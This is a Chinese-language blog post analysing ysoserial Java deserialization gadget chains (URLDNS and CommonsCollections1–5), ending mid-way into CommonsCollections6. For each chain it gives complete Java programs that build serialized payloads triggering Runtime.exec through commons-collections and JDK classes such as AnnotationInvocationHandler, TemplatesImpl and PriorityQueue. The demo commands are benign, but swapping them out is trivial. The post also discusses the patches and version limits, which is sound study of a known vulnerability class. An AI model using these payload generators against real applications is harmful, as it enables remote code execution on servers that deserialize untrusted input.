ysoserial URLDNS, CommonsCollectionsX 分析

发表于 2020 年 1 月 20 日

之前都是 ysoserial 一把梭, 还是得学习 + 复现一下内部实现机制的.

URLDNS

最简单的一个, 这个成因就是 java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.

java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

可以理解为, 在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value. 所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中. 而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求.

整条调用链如下:

1Gadget Chain:
2  HashMap.readObject()
3    HashMap.putVal()
4      HashMap.hash()
5        URL.hashCode()

URLDNS.java

 1package demo.rmb122;
 2
 3import java.io.FileOutputStream;
 4import java.io.ObjectOutputStream;
 5import java.lang.reflect.Field;
 6import java.net.URL;
 7import java.util.HashMap;
 8
 9public class URLDNS {
10    public static void main(String[] args) throws Exception {
11        HashMap<URL, String> hashMap = new HashMap<URL, String>();
12        URL url = new URL("http://xxxx.xxx.xxx");
13        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
14        f.setAccessible(true);
15        f.set(url, 0xdeadbeef); // 设一个值, 这样 put 的时候就不会去查询 DNS
16        hashMap.put(url, "rmb122");
17        f.set(url, -1); // hashCode 这个属性不是 transient 的, 所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
18
19        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
20        oos.writeObject(hashMap);
21    }
22}

Test.java

 1package demo.rmb122;
 2
 3import java.io.FileInputStream;
 4import java.io.ObjectInputStream;
 5
 6public class Test {
 7    public static void main(String[] args) throws Exception {
 8        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
 9        ois.readObject();
10    }
11}

CommonsCollections1

这个利用链比较复杂, 借 ysoserial 自带的调用栈先看看吧,

 1Gadget chain:
 2    ObjectInputStream.readObject()
 3        AnnotationInvocationHandler.readObject()
 4            Map(Proxy).entrySet()
 5                AnnotationInvocationHandler.invoke()
 6                    LazyMap.get()
 7                        ChainedTransformer.transform()
 8                            ConstantTransformer.transform()
 9                            InvokerTransformer.transform()
10                                Method.invoke()
11                                    Class.getMethod()
12                            InvokerTransformer.transform()
13                                Method.invoke()
14                                    Runtime.getRuntime()
15                            InvokerTransformer.transform()
16                                Method.invoke()
17                                    Runtime.exec()

首先是版本受限, 先看 ysoserial 自带的版本检测 (单元测试的时候用的),

1public static boolean isAnnInvHUniversalMethodImpl() {
2    JavaVersion v = JavaVersion.getLocalVersion();
3    return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
4}

亲测 u71 实际已经修复了 sun.reflect.annotation.AnnotationInvocationHandler 中的漏洞, 所以实际上 ysoseiral 检测的是有问题的…

应该是 v.update < 71 才对. 在 https://www.oracle.com/technetwork/java/javase/downloads/java-archive-javase8-2177648.html 可以下到老版 jdk.
以下代码均以小于 u71 的能下到的最新版本 u66 为例子.

这个链相对比较复杂, 所以倒着来, 从 LazyMap.get() 开始.

org.apache.commons.collections.map.LazyMap

1public Object get(Object key) {
2    if (!super.map.containsKey(key)) {
3        Object value = this.factory.transform(key);
4        super.map.put(key, value);
5        return value;
6    } else {
7        return super.map.get(key);
8    }
9}

在 get 这个 map 时, 如果内部的 map 不存在这个 key, 将会调用 this.factory.transform(key), 将结果作为返回值. 再来看属性定义

1protected final Transformer factory;

而 Transformer 是一个基类, ChainedTransformer, ConstantTransformer, InvokerTransformer 均继承于此父类. 接下来看如果通过 this.factory.transform(key) 达到 RCE 的效果.

org.apache.commons.collections.functors.ChainedTransformer

 1 public ChainedTransformer(Transformer[] transformers) {
 2    this.iTransformers = transformers;
 3}
 4
 5public Object transform(Object object) {
 6    for(int i = 0; i < this.iTransformers.length; ++i) {
 7        object = this.iTransformers[i].transform(object);
 8    }
 9
10    return object;
11}

ChainedTransformer 的作用是将内部的 iTransformers 按顺序都调用一遍.

org.apache.commons.collections.functors.ConstantTransformer

1public ConstantTransformer(Object constantToReturn) {
2    this.iConstant = constantToReturn;
3}
4
5public Object transform(Object input) {
6    return this.iConstant;
7}

ConstantTransformer 的作用是不管输入, 直接返回一个常量.

最后是重点 org.apache.commons.collections.functors.InvokerTransformer

 1public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
 2    this.iMethodName = methodName;
 3    this.iParamTypes = paramTypes;
 4    this.iArgs = args;
 5}
 6
 7public Object transform(Object input) {
 8    if (input == null) {
 9        return null;
10    } else {
11        try {
12            Class cls = input.getClass();
13            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
14            return method.invoke(input, this.iArgs);
15        } catch (NoSuchMethodException var5) {
16            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
17        } catch (IllegalAccessException var6) {
18            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
19        } catch (InvocationTargetException var7) {
20            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
21        }
22    }
23}

这个的作用是调用输入对象的一个方法, 并且参数可控, 这就非常牛逼了, 将这些结合起来, 如下

1Transformer[] transformers = new Transformer[]{
2        new ConstantTransformer(java.lang.Runtime.class),
3        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
4        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
5        new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned"}}),
6};
7
8ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这时调用 chainedTransformer.transform, 等价于 java.lang.Runtime.getRuntime().exec(new String[]{"/bin/touch", "/dev/shm/rmb122_pwned"}),
将 chainedTransformer 作为 Lazymapfactory, 再 get 一个不存在的 key, 就能达到 RCE 的目的.

问题就是现在缺少一个在 readObject 时 get 的对象, 而且最好是 jre 内置的. 这里就可以看到作者的牛逼之处, 毕竟这些类可不是随便找找就能找到的.

这里看 sun.reflect.annotation.AnnotationInvocationHandler 这个类的 invoke 方法,

 1// class AnnotationInvocationHandler implements InvocationHandler, Serializable {
 2
 3AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {
 4    Class[] arrayOfClass = paramClass.getInterfaces();
 5    if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[false] != Annotation.class)
 6        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); 
 7    this.type = paramClass;
 8    this.memberValues = paramMap;
 9}
10  
11public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {
12    String str = paramMethod.getName();
13    Class[] arrayOfClass = paramMethod.getParameterTypes();
14    if (str.equals("equals") && arrayOfClass.length == 1 && arrayOfClass[false] == Object.class)
15        return equalsImpl(paramArrayOfObject[0]); 
16    if (arrayOfClass.length != 0)
17        throw new AssertionError("Too many parameters for an annotation method"); 
18    switch (str) {
19        case "toString":
20            return toStringImpl();
21        case "hashCode":
22            return Integer.valueOf(hashCodeImpl());
23        case "annotationType":
24            return this.type;
25    }
26
27    Object object = this.memberValues.get(str); // <--- 这里调用了 get, 而且 memberValues 也是 Map 类型, 可以把 LazyMap 放在这里
28    if (object == null)
29        throw new IncompleteAnnotationException(this.type, str); 
30    if (object instanceof ExceptionProxy)
31        throw ((ExceptionProxy)object).generateException(); 
32    if (object.getClass().isArray() && Array.getLength(object) != 0)
33        object = cloneArray(object); 
34    return object;
35}

再来看这个类的 readObject

 1private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
 2    paramObjectInputStream.defaultReadObject();
 3    AnnotationType annotationType = null;
 4
 5    try {
 6        annotationType = AnnotationType.getInstance(this.type);
 7    } catch (IllegalArgumentException illegalArgumentException) {
 8        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
 9    } 
10
11    Map map = annotationType.memberTypes();
12    for (Map.Entry entry : this.memberValues.entrySet()) {
13        String str = (String)entry.getKey();
14        Class clazz = (Class)map.get(str);
15        if (clazz != null) {
16            Object object = entry.getValue();
17            if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
18                entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember((Method)annotationType.members().get(str))); 
19        } 
20    } 
21}

关键点在 this.memberValues.entrySet(), 那么问题来了, 这里又跟 invoke 有什么关系呢.
这里涉及到 java 的动态代理机制, 这里不再赘述, 可以理解为调用这个方法实际上调用的是代理的 invoke, 在上面可以看到 AnnotationInvocationHandler 本身继承了 InvocationHandler 且重写了 invoke 方法. 刚好可以拿来利用, 接下来问题就很简单了, exp 如下

 1package demo.rmb122;
 2
 3import org.apache.commons.collections.Transformer;
 4import org.apache.commons.collections.functors.ChainedTransformer;
 5import org.apache.commons.collections.functors.ConstantTransformer;
 6import org.apache.commons.collections.functors.InvokerTransformer;
 7
 8import java.io.FileOutputStream;
 9import java.io.ObjectOutputStream;
10import java.lang.reflect.Constructor;
11import java.lang.reflect.InvocationHandler;
12import java.lang.reflect.Proxy;
13import java.util.HashMap;
14import java.util.Map;
15
16public class CommonsCollections1 {
17    public static void main(String[] args) throws Exception {
18        Transformer[] transformers = new Transformer[]{
19                new ConstantTransformer(java.lang.Runtime.class),
20                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
21                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
22                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned_1"}}),
23        };
24
25        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
26
27        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
28        constructor.setAccessible(true);
29        HashMap hashMap = new HashMap<String, String>();
30        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
31
32        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
33        // 因为构造方法不是 public, 只能通过反射构造出来
34        constructor.setAccessible(true);
35        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
36        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
37
38        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
39        constructor.setAccessible(true);
40        Object obj = constructor.newInstance(Deprecated.class, proxy);
41
42        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
43        oos.writeObject(obj);
44    }
45}

接下来问题是 java 是如何修复的呢? 一开始不知道已经修复, 复现出来导致还以为自己写错了 233 看到

1public static boolean isApplicableJavaVersion() {
2    return JavaVersion.isAnnInvHUniversalMethodImpl();
3}

才发现有可能是 java 内部类动过的原因.

拿最新版的 readObject 与上面 u66 版本的对比一下

 1private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
 2    GetField fields = s.readFields();
 3    Class<? extends Annotation> t = (Class)fields.get("type", (Object)null);
 4    Map<String, Object> streamVals = (Map)fields.get("memberValues", (Object)null);
 5    AnnotationType annotationType = null;
 6
 7    try {
 8        annotationType = AnnotationType.getInstance(t);
 9    } catch (IllegalArgumentException var13) {
10        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
11    }
12
13    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
14    Map<String, Object> mv = new LinkedHashMap();
15
16    String name;
17    Object value;
18    for(Iterator var8 = streamVals.entrySet().iterator(); var8.hasNext(); mv.put(name, value)) {
19        Entry<String, Object> memberValue = (Entry)var8.next();
20        name = (String)memberValue.getKey();
21        value = null;
22        Class<?> memberType = (Class)memberTypes.get(name);
23        if (memberType != null) {
24            value = memberValue.getValue();
25            if (!memberType.isInstance(value) && !(value instanceof ExceptionProxy)) {
26                value = (new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")).setMember((Method)annotationType.members().get(name));
27            }
28        }
29    }
30
31    AnnotationInvocationHandler.UnsafeAccessor.setType(this, t);
32    AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, mv);
33}

可以看到很明显的两处变化是

1AnnotationInvocationHandler.UnsafeAccessor.setType(this, t);
2AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, mv);

其将反序列化后的 memberValues 设为了 mv, 而 mv 是

1Map<String, Object> mv = new LinkedHashMap();

不是我们设置的 LazyMap, 这自然导致了在外层 AnnotationInvocationHandler 调用 proxy 时, 内层的 AnnotationInvocationHandler 的 memberValues 是 被重新设置的 LinkedHashMap, 而不是我们构造的 LazyMap, 自然就无法利用了.

看看 java 对 AnnotationInvocationHandler 的修复

ysoseiral 这个 exp 在 2015 年初被发布

查看 git 的 history, 可以看到在 2015 年 12 月被修复

java8u71 2016 年初发布

再看 commons-collections3 的修复:

在 readObject, writeObject 时都做了检测, 需要设置对应的 Property 为 true 才能反序列化 InvokerTransformer.

看这个漏洞的历史, 也是非常有趣的.

CommonsCollections2

还是先看调用栈

1Gadget chain:
2    ObjectInputStream.readObject()
3        PriorityQueue.readObject()
4            ...
5                TransformingComparator.compare()
6                    InvokerTransformer.transform()
7                        Method.invoke()
8                            Runtime.exec()

这个 gadget 比较特殊的是用了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个内置类, 这个类的骚操作就是, 在调用他的 newTransformer 或者 getOutputProperties (这个方法内部会调用 newTransformer) 时, 会动态从字节码中重建一个类. 这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码.

 1public synchronized Transformer newTransformer() throws TransformerConfigurationException {
 2    TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
 3    if (this._uriResolver != null) {
 4        transformer.setURIResolver(this._uriResolver);
 5    }
 6
 7    if (this._tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) {
 8        transformer.setSecureProcessing(true);
 9    }
10
11    return transformer;
12}
13
14private Translet getTransletInstance() throws TransformerConfigurationException {
15        try {
16            if (this._name == null) {
17                return null;
18            } else {
19                if (this._class == null) {
20                    this.defineTransletClasses(); // 这个方法里面调用了 ClassLoader 加载 bytecode
21                }
22//... 省略

同时在这个 gadget 中, 没有使用之前的 LazyMap, 而是使用的是 PriorityQueue + TransformingComparator 这套组合拳.
不过这个 exp 只对 CommonsCollections4 有效, 在 3 中 TransformingComparator 没有 implements Serializable, 导致无法序列化.

java.util.PriorityQueue

 1private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
 2    s.defaultReadObject();
 3    s.readInt();
 4    SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, this.size);
 5    Object[] es = this.queue = new Object[Math.max(this.size, 1)];
 6    int i = 0;
 7
 8    for(int n = this.size; i < n; ++i) {
 9        es[i] = s.readObject();
10    }
11
12    this.heapify();
13}

PriorityQueue readObject 时, 在读取完对象后, 会调用 heapify 来进行排序, 而排序方法是可以自定义的 (利用 Comparator 接口), 配合上 TransformingComparator.

org.apache.commons.collections4.comparators.TransformingComparator (实现了 Comparator 接口)

1public int compare(I obj1, I obj2) {
2    O value1 = this.transformer.transform(obj1);
3    O value2 = this.transformer.transform(obj2);
4    return this.decorated.compare(value1, value2);
5}

在排序时会先 transform 一下, 再结合喜闻乐见的 InvokeTransfer, 导致 RCE.

最后 exp 如下:

 1package demo.rmb122;
 2
 3import javassist.ClassClassPath;
 4import javassist.ClassPool;
 5import javassist.CtClass;
 6import org.apache.commons.collections4.comparators.TransformingComparator;
 7import org.apache.commons.collections4.functors.InvokerTransformer;
 8
 9import java.io.FileOutputStream;
10import java.io.ObjectOutputStream;
11import java.lang.reflect.Field;
12import java.util.PriorityQueue;
13
14public class CommonsCollections2 {
15    public static class Placeholder {
16    }
17
18    public static void main(String[] args) throws Exception {
19        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
20        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
21
22        ClassPool classPool = ClassPool.getDefault();
23        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
24        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
25
26        CtClass placeholder = classPool.get(Placeholder.class.getName());
27        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
28        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");"); // 这里 insertBefore 还是 After 都一样
29        placeholder.setName("demo.rmb122." + System.currentTimeMillis());
30
31        byte[] bytecode = placeholder.toBytecode();
32
33        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
34        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
35        fieldByteCodes.setAccessible(true);
36        fieldByteCodes.set(templates, new byte[][]{bytecode});
37
38        Field fieldName = templates.getClass().getDeclaredField("_name");
39        fieldName.setAccessible(true);
40        fieldName.set(templates, "rmb122");
41
42        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
43        TransformingComparator comparator = new TransformingComparator(invokerTransformer);
44        PriorityQueue queue = new PriorityQueue(2);
45        queue.add(1);
46        queue.add(1);
47
48        Field field = PriorityQueue.class.getDeclaredField("queue");
49        field.setAccessible(true);
50        Object[] innerArr = (Object[]) field.get(queue);
51        innerArr[0] = templates;
52        innerArr[1] = templates;
53
54        field = PriorityQueue.class.getDeclaredField("comparator");
55        field.setAccessible(true);
56        field.set(queue, comparator);
57
58        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
59        oos.writeObject(queue);
60        oos.close();
61    }
62}

生成字节码用的是 ysoseiral 一样的 javassist, 可以在正常的字节码前后插入恶意 payload.
另外这里因为是运行的字节码, 所以其实变通方法很多, 如果只是想读写文件但有 RASP ban 掉了 Runtime.exec, 其实可以通过 File 来读写文件.

4 的修复方法比较粗暴, 直接干掉了 InvokerTransformer 的 Serializable 继承.

CommonsCollections3

这个与上面的 CommonsCollections1 接近, 区别是将一串的 InvokerTransformer 换成了 InstantiateTransformer, 利用刚刚在 CommonsCollections2 介绍的 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 导致 RCE. 本质是换汤不换药.

InstantiateTransformer 做的工作是

1public Object transform(Object input) {
2    try {
3        if (!(input instanceof Class)) {
4            throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
5        } else {
6            Constructor con = ((Class)input).getConstructor(this.iParamTypes);
7            return con.newInstance(this.iArgs);
8        }
9    }

就是将类实例化, 也就是调用 input 的构造函数, 这里 InstantiateTransformer 能替换 InvokerTransformer 的原因是内置类 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 在构造时,

1public TrAXFilter(Templates templates) throws TransformerConfigurationException {
2    this._templates = templates;
3    this._transformer = (TransformerImpl)templates.newTransformer();
4    this._transformerHandler = new TransformerHandlerImpl(this._transformer);
5    this._overrideDefaultParser = this._transformer.overrideDefaultParser();
6}

会调用 templates 的 newTransformer 方法, 其实这里 InstantiateTransformer 起到的作用是和 InvokerTransformer 一样的.

exp 如下

 1package demo.rmb122;
 2
 3import javassist.ClassClassPath;
 4import javassist.ClassPool;
 5import javassist.CtClass;
 6import org.apache.commons.collections.Transformer;
 7import org.apache.commons.collections.functors.ChainedTransformer;
 8import org.apache.commons.collections.functors.ConstantTransformer;
 9import org.apache.commons.collections.functors.InstantiateTransformer;
10import javax.xml.transform.Templates;
11
12import java.io.FileOutputStream;
13import java.io.ObjectOutputStream;
14import java.io.Serializable;
15import java.lang.reflect.Constructor;
16import java.lang.reflect.Field;
17import java.lang.reflect.InvocationHandler;
18import java.lang.reflect.Proxy;
19import java.util.HashMap;
20import java.util.Map;
21
22public class CommonsCollections3 {
23    public static class Placeholder implements Serializable {
24    }
25
26    public static void main(String[] args) throws Exception {
27        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
28        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
29        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
30
31        ClassPool classPool = ClassPool.getDefault();
32        classPool.insertClassPath(new ClassClassPath(CommonsCollections3.Placeholder.class));
33        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
34
35        CtClass placeholder = classPool.get(CommonsCollections3.Placeholder.class.getName());
36        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
37        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");");
38        placeholder.setName("demo.rmb122." + System.currentTimeMillis());
39
40        byte[] bytecode = placeholder.toBytecode();
41
42        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
43        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
44        fieldByteCodes.setAccessible(true);
45        fieldByteCodes.set(templates, new byte[][]{bytecode});
46
47        Field fieldName = templates.getClass().getDeclaredField("_name");
48        fieldName.setAccessible(true);
49        fieldName.set(templates, "rmb122");
50
51        Transformer[] transformers = new Transformer[]{
52                new ConstantTransformer(Class.forName(TrAXFilter)),
53                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
54        };
55
56        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
57
58        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
59        constructor.setAccessible(true);
60        HashMap hashMap = new HashMap<String, String>();
61        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
62
63        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
64        constructor.setAccessible(true);
65        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
66        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
67
68        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
69        constructor.setAccessible(true);
70        Object obj = constructor.newInstance(Deprecated.class, proxy);
71
72        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
73        oos.writeObject(obj);
74        oos.close();
75    }
76}

CommonsCollections4

这个与上面的 CommonsCollections2 接近, 区别是将 InvokerTransformer 替换为 InstantiateTransformer, 换汤不换药 + 1, 不再多做解释

 1package demo.rmb122;
 2
 3import javassist.ClassClassPath;
 4import javassist.ClassPool;
 5import javassist.CtClass;
 6import org.apache.commons.collections4.Transformer;
 7import org.apache.commons.collections4.functors.ConstantTransformer;
 8import org.apache.commons.collections4.functors.InstantiateTransformer;
 9import org.apache.commons.collections4.comparators.TransformingComparator;
10import org.apache.commons.collections4.functors.ChainedTransformer;
11
12import javax.xml.transform.Templates;
13import java.io.FileOutputStream;
14import java.io.ObjectOutputStream;
15import java.lang.reflect.Field;
16import java.util.PriorityQueue;
17
18public class CommonsCollections4 {
19    public static class Placeholder {
20    }
21
22    public static void main(String[] args) throws Exception {
23        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
24        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
25        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";
26
27        ClassPool classPool = ClassPool.getDefault();
28        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
29        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));
30
31        CtClass placeholder = classPool.get(Placeholder.class.getName());
32        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
33        placeholder.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");");
34        placeholder.setName("demo.rmb122." + System.currentTimeMillis());
35
36        byte[] bytecode = placeholder.toBytecode();
37
38        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
39        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
40        fieldByteCodes.setAccessible(true);
41        fieldByteCodes.set(templates, new byte[][]{bytecode});
42
43        Field fieldName = templates.getClass().getDeclaredField("_name");
44        fieldName.setAccessible(true);
45        fieldName.set(templates, "rmb122");
46
47        Transformer[] transformers = new Transformer[]{
48                new ConstantTransformer(Class.forName(TrAXFilter)),
49                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
50        };
51
52        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
53
54        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
55        PriorityQueue queue = new PriorityQueue(2);
56        queue.add(1);
57        queue.add(1);
58
59        Field field = PriorityQueue.class.getDeclaredField("queue");
60        field.setAccessible(true);
61        Object[] innerArr = (Object[]) field.get(queue);
62        innerArr[0] = templates;
63        innerArr[1] = templates;
64
65        field = PriorityQueue.class.getDeclaredField("comparator");
66        field.setAccessible(true);
67        field.set(queue, comparator);
68
69        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
70        oos.writeObject(queue);
71        oos.close();
72    }
73}

CommonsCollections5

这个不是换汤不换药了, 用了一个新的利用链去触发 InvokerTransformer, 不过 ysoserial 上注释里面的调用链是错误的, 估计是忘记改了. 正确的如下:

 1Gadget chain:
 2    ObjectInputStream.readObject()
 3        BadAttributeValueExpException.readObject()
 4            TiedMapEntry.toString()
 5                    LazyMap.get()
 6                        ChainedTransformer.transform()
 7                            ConstantTransformer.transform()
 8                            InvokerTransformer.transform()
 9                                Method.invoke()
10                                    Class.getMethod()
11                            InvokerTransformer.transform()
12                                Method.invoke()
13                                    Runtime.getRuntime()
14                            InvokerTransformer.transform()
15                                Method.invoke()
16                                    Runtime.exec()

从注释里面还可以得到, 这个 chain 只能用于 >= 8u76, 且 SecurityManager 未设置的情况下使用. 原因是在 8u76 的更新里面, 添加了 javax.management.BadAttributeValueExpException 的 readObject 方法

 1private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
 2    ObjectInputStream.GetField gf = ois.readFields();
 3    Object valObj = gf.get("val", null);
 4
 5    if (valObj == null) {
 6        val = null;
 7    } else if (valObj instanceof String) {
 8        val= valObj;
 9    } else if (System.getSecurityManager() == null
10            || valObj instanceof Long
11            || valObj instanceof Integer
12            || valObj instanceof Float
13            || valObj instanceof Double
14            || valObj instanceof Byte
15            || valObj instanceof Short
16            || valObj instanceof Boolean) {
17        val = valObj.toString();
18    } else { // the serialized object is from a version without JDK-8019292 fix
19        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
20    }
21}

可以看到, 在 System.getSecurityManager() == null 的情况下, 将会不管 valObj 的类型, 调用 toString 方法, 这里需要配合 org.apache.commons.collections.keyvalue.TiedMapEntry 来使用, 其重写的 toString 方法

1public Object getValue() {
2    return this.map.get(this.key);
3}
4
5public String toString() {
6    return this.getKey() + "=" + this.getValue();
7}

看到熟悉的 map.get 了么, 这里就又回到了 LazyMap 的那一套, 接下来也不用多说了, exp 如下:

 1package demo.rmb122;
 2
 3import org.apache.commons.collections.Transformer;
 4import org.apache.commons.collections.functors.ChainedTransformer;
 5import org.apache.commons.collections.functors.ConstantTransformer;
 6import org.apache.commons.collections.functors.InvokerTransformer;
 7import org.apache.commons.collections.keyvalue.TiedMapEntry;
 8import org.apache.commons.collections.map.LazyMap;
 9
10import javax.management.BadAttributeValueExpException;
11import java.io.FileOutputStream;
12import java.io.ObjectOutputStream;
13import java.lang.reflect.Field;
14import java.util.HashMap;
15import java.util.Map;
16
17public class CommonsCollections5 {
18    public static void main(String[] args) throws Exception {
19        Transformer[] transformers = new Transformer[]{
20                new ConstantTransformer(java.lang.Runtime.class),
21                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
22                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
23                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/asdasd_1"}}),
24        };
25
26        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
27
28        HashMap hashMap = new HashMap<String, String>();
29
30        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
31        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
32
33        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
34        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
35        field.setAccessible(true);
36        field.set(badAttributeValueExpException, tiedMapEntry);
37
38        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
39        oos.writeObject(badAttributeValueExpException);
40        oos.close();
41    }
42}

另外, 这一条链, 其实 3, 4 都能使用, 不过 ysoseiral 只在 exp 里面写了 3 的, 实际上只要将 import 的 xxx.collections.xxx 全改成 xxx.collections4.xxx, 然后将 LazyMap.decorate 改为 LazyMap.LazyMap 就能直接给 4 使用.

CommonsCollections6

还是先看调用栈:

 1Gadget chain:
 2    java.io.ObjectInputStream.readObject()
